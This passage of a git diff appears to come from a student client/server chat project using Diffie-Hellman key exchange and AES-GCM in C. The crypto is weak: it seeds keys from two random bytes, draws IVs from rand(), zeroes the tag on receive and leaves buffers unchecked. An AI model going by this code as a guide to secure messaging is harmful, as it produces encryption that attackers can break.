extern const aes_uint Te0[256];
|
||||
extern const aes_uint Te1[256];
|
||||
extern const aes_uint Te2[256];
|
||||
extern const aes_uint Te3[256];
|
||||
extern const aes_uint Te4[256];
|
||||
extern const aes_uint Td0[256];
|
||||
extern const aes_uint Td1[256];
|
||||
extern const aes_uint Td2[256];
|
||||
extern const aes_uint Td3[256];
|
||||
extern const aes_uint Td4[256];
|
||||
extern const aes_uint rcon[10];
|
||||
extern const aes_uchar Td4s[256];
|
||||
extern const aes_uchar rcons[10];
|
||||
|
||||
#ifndef AES_SMALL_TABLES
|
||||
|
||||
#define RCON(i) rcon[(i)]
|
||||
|
||||
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||
#define TE1(i) Te1[((i) >> 16) & 0xff]
|
||||
#define TE2(i) Te2[((i) >> 8) & 0xff]
|
||||
#define TE3(i) Te3[(i) & 0xff]
|
||||
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
|
||||
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
|
||||
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
|
||||
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||
#define TE4(i) (Te4[(i)] & 0x000000ff)
|
||||
|
||||
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||
#define TD1(i) Td1[((i) >> 16) & 0xff]
|
||||
#define TD2(i) Td2[((i) >> 8) & 0xff]
|
||||
#define TD3(i) Td3[(i) & 0xff]
|
||||
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
|
||||
#define TD0_(i) Td0[(i) & 0xff]
|
||||
#define TD1_(i) Td1[(i) & 0xff]
|
||||
#define TD2_(i) Td2[(i) & 0xff]
|
||||
#define TD3_(i) Td3[(i) & 0xff]
|
||||
|
||||
#else /* AES_SMALL_TABLES */
|
||||
|
||||
#define RCON(i) (rcons[(i)] << 24)
|
||||
|
||||
static inline aes_uint rotr(aes_uint val, int bits)
|
||||
{
|
||||
return (val >> bits) | (val << (32 - bits));
|
||||
}
|
||||
|
||||
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
|
||||
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
|
||||
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
|
||||
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
|
||||
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
|
||||
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
|
||||
|
||||
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
|
||||
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
|
||||
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
|
||||
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
|
||||
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
|
||||
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
|
||||
#define TD44(i) (Td4s[(i) & 0xff])
|
||||
#define TD0_(i) Td0[(i) & 0xff]
|
||||
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
|
||||
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
|
||||
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
|
||||
|
||||
#endif /* AES_SMALL_TABLES */
|
||||
|
||||
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
|
||||
((aes_uint)(pt)[1] << 16) ^ \
|
||||
((aes_uint)(pt)[2] << 8) ^ \
|
||||
((aes_uint)(pt)[3]))
|
||||
#define PUTU32(ct, st) { \
|
||||
(ct)[0] = (aes_uchar)((st) >> 24); \
|
||||
(ct)[1] = (aes_uchar)((st) >> 16); \
|
||||
(ct)[2] = (aes_uchar)((st) >> 8); \
|
||||
(ct)[3] = (aes_uchar)(st); }
|
||||
|
||||
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
|
||||
#define AES_PRIV_NR_POS (4 * 15)
|
||||
|
||||
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
|
||||
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
|
||||
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||
|
||||
#endif /* AES_I_H */
|
70
client/aes.h
Normal file
70
client/aes.h
Normal file
@ -0,0 +1,70 @@
|
||||
#ifndef AES_H
|
||||
#define AES_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define AES_FULL_UNROLL
|
||||
#define AES_SMALL_TABLES
|
||||
#define AES_BLOCK_SIZE 16
|
||||
|
||||
#include "aes-common.h"
|
||||
#include "aes-internal.h"
|
||||
#include "aes-debug.h"
|
||||
|
||||
void * aes_encrypt_init(const aes_uchar *key, size_t len);
|
||||
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
|
||||
void aes_encrypt_deinit(void *ctx);
|
||||
void * aes_decrypt_init(const aes_uchar *key, size_t len);
|
||||
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
|
||||
void aes_decrypt_deinit(void *ctx);
|
||||
|
||||
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
|
||||
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
|
||||
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
|
||||
const aes_uchar *addr[], const size_t *len,
|
||||
aes_uchar *mac);
|
||||
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
|
||||
aes_uchar *mac);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
|
||||
aes_uchar *data, size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
|
||||
const aes_uchar *nonce, size_t nonce_len,
|
||||
const aes_uchar *hdr, size_t hdr_len,
|
||||
aes_uchar *data, size_t data_len, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
|
||||
const aes_uchar *nonce, size_t nonce_len,
|
||||
const aes_uchar *hdr, size_t hdr_len,
|
||||
aes_uchar *data, size_t data_len, const aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||
size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||
size_t data_len);
|
||||
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len,
|
||||
aes_uchar *crypt, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
|
||||
aes_uchar *plain);
|
||||
int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
|
||||
const aes_uchar *iv, size_t iv_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
|
||||
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||
size_t M, const aes_uchar *plain, size_t plain_len,
|
||||
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
|
||||
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||
size_t M, const aes_uchar *crypt, size_t crypt_len,
|
||||
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
|
||||
aes_uchar *plain);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* AES_H */
|
159
client/client.c
Normal file
159
client/client.c
Normal file
@ -0,0 +1,159 @@
|
||||
#include <memory.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include "Diffie_hellman.c"
|
||||
#include "aes.h"
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
#define AES_DEBUG
|
||||
#define MAX_size 256
|
||||
#define PORT 8080
|
||||
#define Sockaddr struct sockaddr
|
||||
|
||||
void recv_msg(int sockfd, char * buf, unsigned char *key){
|
||||
char buff[MAX_size];
|
||||
//add(16)+iv(12)+tag(16)+data
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
int l=read(sockfd, buff, sizeof(buff));
|
||||
memcpy(add,buff+4,16);
|
||||
memcpy(iv,buff+16+4,12);
|
||||
memset(tag,0,16);
|
||||
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
|
||||
|
||||
}
|
||||
|
||||
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
|
||||
//add(16)+iv(12)+tag(16)+data
|
||||
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
|
||||
memset(cryptbuf, 0, con_len + 44 + 4);
|
||||
//add+iv
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
memset(tag,0,16);
|
||||
for(int j=0;j<16;j++)
|
||||
add[j]=rand()%256;
|
||||
for(int j=0;j<12;j++)
|
||||
iv[j]=rand()%256;
|
||||
//encrypt
|
||||
int tmp;
|
||||
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
|
||||
memcpy(cryptbuf + 4, add, 16);
|
||||
memcpy(cryptbuf + 20, iv, 12);
|
||||
memcpy(cryptbuf + 32, tag, 16);
|
||||
memcpy(cryptbuf, "data", 4);
|
||||
int f;
|
||||
f = write(sockfd, cryptbuf, con_len + 44 + 4);
|
||||
}
|
||||
|
||||
|
||||
void DH_key_exchange_for_client(int sockfd, unsigned char * key_aes){
|
||||
Dh_key client_key;
|
||||
init_numbers(&client_key);
|
||||
client_key.urand = fopen("/dev/urandom","r");
|
||||
mpz_set_ui(client_key.base, (unsigned long)2);
|
||||
char buff[MAX_size];
|
||||
memset(buff, 0, MAX_size);
|
||||
|
||||
//receive p
|
||||
memset(buff, 0, MAX_size);
|
||||
read(sockfd,buff,sizeof(buff));
|
||||
mpz_set_str(client_key.prime,buff+3,16);
|
||||
gmp_printf("p:%Zd\n",client_key.prime);
|
||||
|
||||
//generate private key a
|
||||
generate_key(32, &client_key);
|
||||
gmp_printf("a:%Zd\n",client_key.private_key);
|
||||
|
||||
//calculate public key A=g^a(mod p)
|
||||
mpz_powm(client_key.public_key, client_key.base, client_key.private_key, client_key.prime);
|
||||
gmp_printf("A:%Zd\n",client_key.public_key);
|
||||
|
||||
//send A
|
||||
bzero(buff, MAX_size);
|
||||
memcpy(buff,"pub",3);
|
||||
mpz_get_str(buff+3,16,client_key.public_key);
|
||||
write(sockfd,buff,sizeof(buff));
|
||||
|
||||
//receive B
|
||||
bzero(buff, MAX_size);
|
||||
read(sockfd,buff,sizeof(buff));
|
||||
mpz_t key_from_s;
|
||||
mpz_init(key_from_s);
|
||||
mpz_set_str(key_from_s,buff+3,16);
|
||||
gmp_printf("B:%Zd\n",key_from_s);
|
||||
|
||||
//calc s=g^(ab)
|
||||
mpz_powm(client_key.key, key_from_s, client_key.private_key, client_key.prime);
|
||||
|
||||
//key -> char*
|
||||
bzero(buff, MAX_size);
|
||||
mpz_get_str(buff,16,client_key.key);
|
||||
memcpy(key_aes,str2hex(buff),32);
|
||||
fclose(client_key.urand);
|
||||
clear_numbers(&client_key);
|
||||
}
|
||||
|
||||
void func(int sockfd)
|
||||
{
|
||||
char buff[MAX_size];
|
||||
int n=0;
|
||||
unsigned char aes_key[32];
|
||||
|
||||
DH_key_exchange_for_client(sockfd, aes_key);
|
||||
printf("\n");
|
||||
print_hex(aes_key, 32);
|
||||
for (;;) {
|
||||
bzero(buff, sizeof(buff));
|
||||
printf("Enter str : ");
|
||||
n = 0;
|
||||
while ((buff[n++] = getchar()) != '\n');
|
||||
send_msg(sockfd, buff, strlen(buff),aes_key);
|
||||
|
||||
bzero(buff, sizeof(buff));
|
||||
|
||||
recv_msg(sockfd, buff, aes_key);
|
||||
printf("From Server : %s", buff);
|
||||
|
||||
if ((strncmp(buff, "exit", 4)) == 0) {
|
||||
printf("Client Exit\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc,char **argv)
|
||||
{
|
||||
int sockfd, connfd;
|
||||
struct sockaddr_in servaddr, cli;
|
||||
|
||||
//创建套接字
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sockfd == -1) {
|
||||
printf("socket creation failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("Socket successfully created\n");
|
||||
bzero(&servaddr, sizeof(servaddr));
|
||||
|
||||
//绑定地址
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
|
||||
servaddr.sin_port = htons(atoi(argv[2]));
|
||||
|
||||
//连接
|
||||
if (connect(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
|
||||
printf("connection with the server failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("connected to the server\n");
|
||||
|
||||
//发送
|
||||
func(sockfd);
|
||||
close(sockfd);
|
||||
}
|
160
client/client_p.c
Normal file
160
client/client_p.c
Normal file
@ -0,0 +1,160 @@
|
||||
#include <memory.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include "Diffie_hellman.c"
|
||||
#include "aes.h"
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
#define AES_DEBUG
|
||||
#define MAX_size 256
|
||||
#define PORT 8080
|
||||
#define Sockaddr struct sockaddr
|
||||
|
||||
void recv_msg(int sockfd, char * buf, unsigned char *key){
|
||||
char buff[MAX_size];
|
||||
//add(16)+iv(12)+tag(16)+data
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
int l=read(sockfd, buff, sizeof(buff));
|
||||
memcpy(add,buff+4,16);
|
||||
memcpy(iv,buff+16+4,12);
|
||||
memset(tag,0,16);
|
||||
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
|
||||
|
||||
}
|
||||
|
||||
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
|
||||
//add(16)+iv(12)+tag(16)+data
|
||||
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
|
||||
memset(cryptbuf, 0, con_len + 44 + 4);
|
||||
//add+iv
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
memset(tag,0,16);
|
||||
for(int j=0;j<16;j++)
|
||||
add[j]=rand()%256;
|
||||
for(int j=0;j<12;j++)
|
||||
iv[j]=rand()%256;
|
||||
//encrypt
|
||||
int tmp;
|
||||
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
|
||||
memcpy(cryptbuf + 4, add, 16);
|
||||
memcpy(cryptbuf + 20, iv, 12);
|
||||
memcpy(cryptbuf + 32, tag, 16);
|
||||
memcpy(cryptbuf, "daaa", 4);
|
||||
int f;
|
||||
f = write(sockfd, cryptbuf, con_len + 44 + 4);
|
||||
}
|
||||
|
||||
|
||||
void DH_key_exchange_for_client(int sockfd, unsigned char * key_aes){
|
||||
Dh_key client_key;
|
||||
init_numbers(&client_key);
|
||||
client_key.urand = fopen("/dev/urandom","r");
|
||||
mpz_set_ui(client_key.base, (unsigned long)2);
|
||||
char buff[MAX_size];
|
||||
memset(buff, 0, MAX_size);
|
||||
|
||||
//receive p
|
||||
memset(buff, 0, MAX_size);
|
||||
read(sockfd,buff,sizeof(buff));
|
||||
mpz_set_str(client_key.prime,buff+3,16);
|
||||
gmp_printf("p:%Zd\n",client_key.prime);
|
||||
|
||||
//generate private key a
|
||||
generate_key(32, &client_key);
|
||||
gmp_printf("a:%Zd\n",client_key.private_key);
|
||||
|
||||
//calculate public key A=g^a(mod p)
|
||||
mpz_powm(client_key.public_key, client_key.base, client_key.private_key, client_key.prime);
|
||||
gmp_printf("A:%Zd\n",client_key.public_key);
|
||||
|
||||
//send A
|
||||
bzero(buff, MAX_size);
|
||||
memcpy(buff,"pud",3);
|
||||
mpz_get_str(buff+3,16,client_key.public_key);
|
||||
write(sockfd,buff,sizeof(buff));
|
||||
|
||||
//receive B
|
||||
bzero(buff, MAX_size);
|
||||
read(sockfd,buff,sizeof(buff));
|
||||
mpz_t key_from_s;
|
||||
mpz_init(key_from_s);
|
||||
mpz_set_str(key_from_s,buff+3,16);
|
||||
gmp_printf("B:%Zd\n\n",key_from_s);
|
||||
|
||||
//calc s=g^(ab)
|
||||
mpz_powm(client_key.key, key_from_s, client_key.private_key, client_key.prime);
|
||||
|
||||
//key -> char*
|
||||
bzero(buff, MAX_size);
|
||||
mpz_get_str(buff,16,client_key.key);
|
||||
memcpy(key_aes,str2hex(buff),32);
|
||||
fclose(client_key.urand);
|
||||
clear_numbers(&client_key);
|
||||
}
|
||||
|
||||
void func(int sockfd)
|
||||
{
|
||||
char buff[MAX_size];
|
||||
int n=0;
|
||||
unsigned char aes_key[32];
|
||||
|
||||
DH_key_exchange_for_client(sockfd, aes_key);
|
||||
print_hex(aes_key, 32);
|
||||
for (;;) {
|
||||
bzero(buff, sizeof(buff));
|
||||
printf("Enter str : ");
|
||||
n = 0;
|
||||
while ((buff[n++] = getchar()) != '\n');
|
||||
send_msg(sockfd, buff, strlen(buff),aes_key);
|
||||
|
||||
bzero(buff, sizeof(buff));
|
||||
|
||||
recv_msg(sockfd, buff, aes_key);
|
||||
printf("From Server : %s", buff);
|
||||
|
||||
if ((strncmp(buff, "exit", 4)) == 0) {
|
||||
printf("Client Exit\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc,char **argv)
|
||||
{
|
||||
if(argc!=3){
|
||||
puts("./client ip port");
|
||||
return 0;
|
||||
}
|
||||
int sockfd, connfd;
|
||||
struct sockaddr_in servaddr, cli;
|
||||
|
||||
//斐膘杶諉趼
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sockfd == -1) {
|
||||
printf("socket creation failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("Socket successfully created\n");
|
||||
bzero(&servaddr, sizeof(servaddr));
|
||||
|
||||
//堂隅華硊
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
|
||||
servaddr.sin_port = htons(atoi(argv[2]));
|
||||
if (connect(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
|
||||
printf("connection with the server failed\n");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
printf("connected to the server\n");
|
||||
|
||||
//諉彶
|
||||
func(sockfd);
|
||||
close(sockfd);
|
||||
}
|
9
client/makefile
Normal file
9
client/makefile
Normal file
@ -0,0 +1,9 @@
|
||||
client:client.c aes-debug.o aes-gcm.o aes-internal.o
|
||||
gcc client.c -o client aes-debug.o aes-gcm.o aes-internal.o -l gmp
|
||||
aes-debug.o:aes-debug.c
|
||||
gcc -c aes-debug.c -o aes-debug.o
|
||||
aes-gcm.o:aes-gcm.c
|
||||
gcc -c aes-gcm.c -o aes-gcm.o
|
||||
aes-internal.o:aes-internal.c
|
||||
gcc -c aes-internal.c -o aes-internal.o
|
||||
|
8
client/makefile_p
Normal file
8
client/makefile_p
Normal file
@ -0,0 +1,8 @@
|
||||
client_p:client_p.c aes-debug.o aes-gcm.o aes-internal.o
|
||||
gcc client_p.c -o client_p aes-debug.o aes-gcm.o aes-internal.o -l gmp
|
||||
aes-debug.o:aes-debug.c
|
||||
gcc -c aes-debug.c -o aes-debug.o
|
||||
aes-gcm.o:aes-gcm.c
|
||||
gcc -c aes-gcm.c -o aes-gcm.o
|
||||
aes-internal.o:aes-internal.c
|
||||
gcc -c aes-internal.c -o aes-internal.o
|
144
server/Diffie_hellman.c
Normal file
144
server/Diffie_hellman.c
Normal file
@ -0,0 +1,144 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <gmp.h>
|
||||
#include <string.h>
|
||||
typedef struct{
|
||||
mpz_t prime;
|
||||
mpz_t base;
|
||||
mpz_t private_key;
|
||||
mpz_t public_key;
|
||||
mpz_t key; //g^(AB)
|
||||
FILE *urand;
|
||||
}Dh_key;
|
||||
void generate_random(size_t sz, unsigned char* random_bytes,Dh_key* dhk)
|
||||
{
|
||||
unsigned int init_random = 0;
|
||||
size_t i = 0;
|
||||
|
||||
if(0 == sz || NULL == random_bytes)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for generate_random\n");
|
||||
exit(1);
|
||||
}
|
||||
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
|
||||
srand(init_random);
|
||||
for(i = 0; i < sz; i++)
|
||||
{
|
||||
random_bytes[i] = rand();
|
||||
}
|
||||
}
|
||||
|
||||
void print_hex(unsigned char* value, unsigned int len){
|
||||
printf("%s","key exchange:");
|
||||
for(int i=0;i<len;i++)
|
||||
printf("%02x ",value[i]);
|
||||
puts("");
|
||||
}
|
||||
|
||||
unsigned char* str2hex(char *hexStr){
|
||||
int len=strlen(hexStr)/2;
|
||||
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
|
||||
memset(hexvalue,0,len);
|
||||
for(int i=0;i<len;i++){
|
||||
if(hexStr[i*2]<='9'){
|
||||
hexvalue[i]=(hexStr[i*2]-'0')*16;
|
||||
}else
|
||||
hexvalue[i]=(hexStr[i*2]-87)*16; //a=97
|
||||
|
||||
if(hexStr[i*2+1]<='9'){
|
||||
hexvalue[i]+=(hexStr[i*2+1]-'0');
|
||||
}else
|
||||
hexvalue[i]+=(hexStr[i*2+1]-87);
|
||||
}
|
||||
return hexvalue;
|
||||
}
|
||||
|
||||
void generate_key(size_t sz, Dh_key* dhk)
|
||||
{
|
||||
unsigned char* random_bytes = NULL;
|
||||
|
||||
if(0 == sz || NULL == dhk->private_key)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for generate_key\n");
|
||||
exit(1);
|
||||
}
|
||||
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||
if(NULL == random_bytes)
|
||||
{
|
||||
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
|
||||
exit(1);
|
||||
}
|
||||
generate_random(sz, random_bytes, dhk);
|
||||
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||
free(random_bytes);
|
||||
}
|
||||
|
||||
|
||||
void init_prime(size_t sz,Dh_key* dhk)
|
||||
{
|
||||
mpz_t tmp;
|
||||
mpz_t x;
|
||||
unsigned char* random_bytes = NULL;
|
||||
|
||||
|
||||
if(0 == sz)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for init_prime\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
mpz_init(tmp);
|
||||
mpz_init(x);
|
||||
|
||||
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||
if(NULL == random_bytes)
|
||||
{
|
||||
fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
|
||||
exit(1);
|
||||
}
|
||||
while (1)
|
||||
{
|
||||
generate_random(sz, random_bytes,dhk);
|
||||
random_bytes[sz-1] |= (unsigned char)0x40;
|
||||
random_bytes[0] |= (unsigned char)1;
|
||||
|
||||
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||
while (0 == mpz_probab_prime_p(tmp, 10))
|
||||
{
|
||||
mpz_add_ui(tmp, tmp, 2);
|
||||
}
|
||||
mpz_mul_ui(dhk->prime, tmp, 2);
|
||||
mpz_add_ui(dhk->prime, dhk->prime, 1);
|
||||
if (0 != mpz_probab_prime_p(dhk->prime, 10))
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(random_bytes);
|
||||
|
||||
mpz_set_ui(dhk->base, (unsigned long)2);
|
||||
|
||||
mpz_clear(tmp);
|
||||
mpz_clear(x);
|
||||
}
|
||||
|
||||
|
||||
|
||||
void init_numbers(Dh_key* dhk)
|
||||
{
|
||||
mpz_init(dhk->key);
|
||||
mpz_init(dhk->prime);
|
||||
mpz_init(dhk->base);
|
||||
mpz_init(dhk->private_key);
|
||||
mpz_init(dhk->public_key);
|
||||
}
|
||||
|
||||
void clear_numbers(Dh_key* dhk)
|
||||
{
|
||||
mpz_clear(dhk->key);
|
||||
mpz_clear(dhk->prime);
|
||||
mpz_clear(dhk->base);
|
||||
mpz_clear(dhk->private_key);
|
||||
mpz_clear(dhk->public_key);
|
||||
}
|
246
server/aes-common.h
Normal file
246
server/aes-common.h
Normal file
@ -0,0 +1,246 @@
|
||||
#ifndef AES_COMMON_H
|
||||
#define AES_COMMON_H
|
||||
|
||||
#include <ctype.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
/* integer types */
|
||||
|
||||
typedef unsigned char aes_uchar;
|
||||
typedef unsigned short aes_ushort;
|
||||
typedef unsigned int aes_uint;
|
||||
typedef unsigned long long aes_ulong;
|
||||
typedef signed char aes_char;
|
||||
typedef signed short aes_short;
|
||||
typedef signed int aes_int;
|
||||
typedef signed long long aes_long;
|
||||
|
||||
|
||||
/* byte order */
|
||||
|
||||
#if defined(__linux__) || defined(__GLIBC__)
|
||||
#include <endian.h>
|
||||
#include <byteswap.h>
|
||||
#endif /* defined(__linux__) || defined(__GLIBC__) */
|
||||
|
||||
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
|
||||
defined(__DragonFly__) || defined(__OpenBSD__)
|
||||
#include <sys/types.h>
|
||||
#include <sys/endian.h>
|
||||
#define __BYTE_ORDER _BYTE_ORDER
|
||||
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
|
||||
#define __BIG_ENDIAN _BIG_ENDIAN
|
||||
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
|
||||
* defined(__DragonFly__) || defined(__OpenBSD__) */
|
||||
|
||||
#ifdef sun
|
||||
#include <sys/isa_defs.h>
|
||||
#define __LITTLE_ENDIAN 1234
|
||||
#define __BIG_ENDIAN 4321
|
||||
#ifdef _LITTLE_ENDIAN
|
||||
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||
#else
|
||||
#define __BYTE_ORDER __BIG_ENDIAN
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define inline __inline
|
||||
#define __LITTLE_ENDIAN 1234
|
||||
#define __BIG_ENDIAN 4321
|
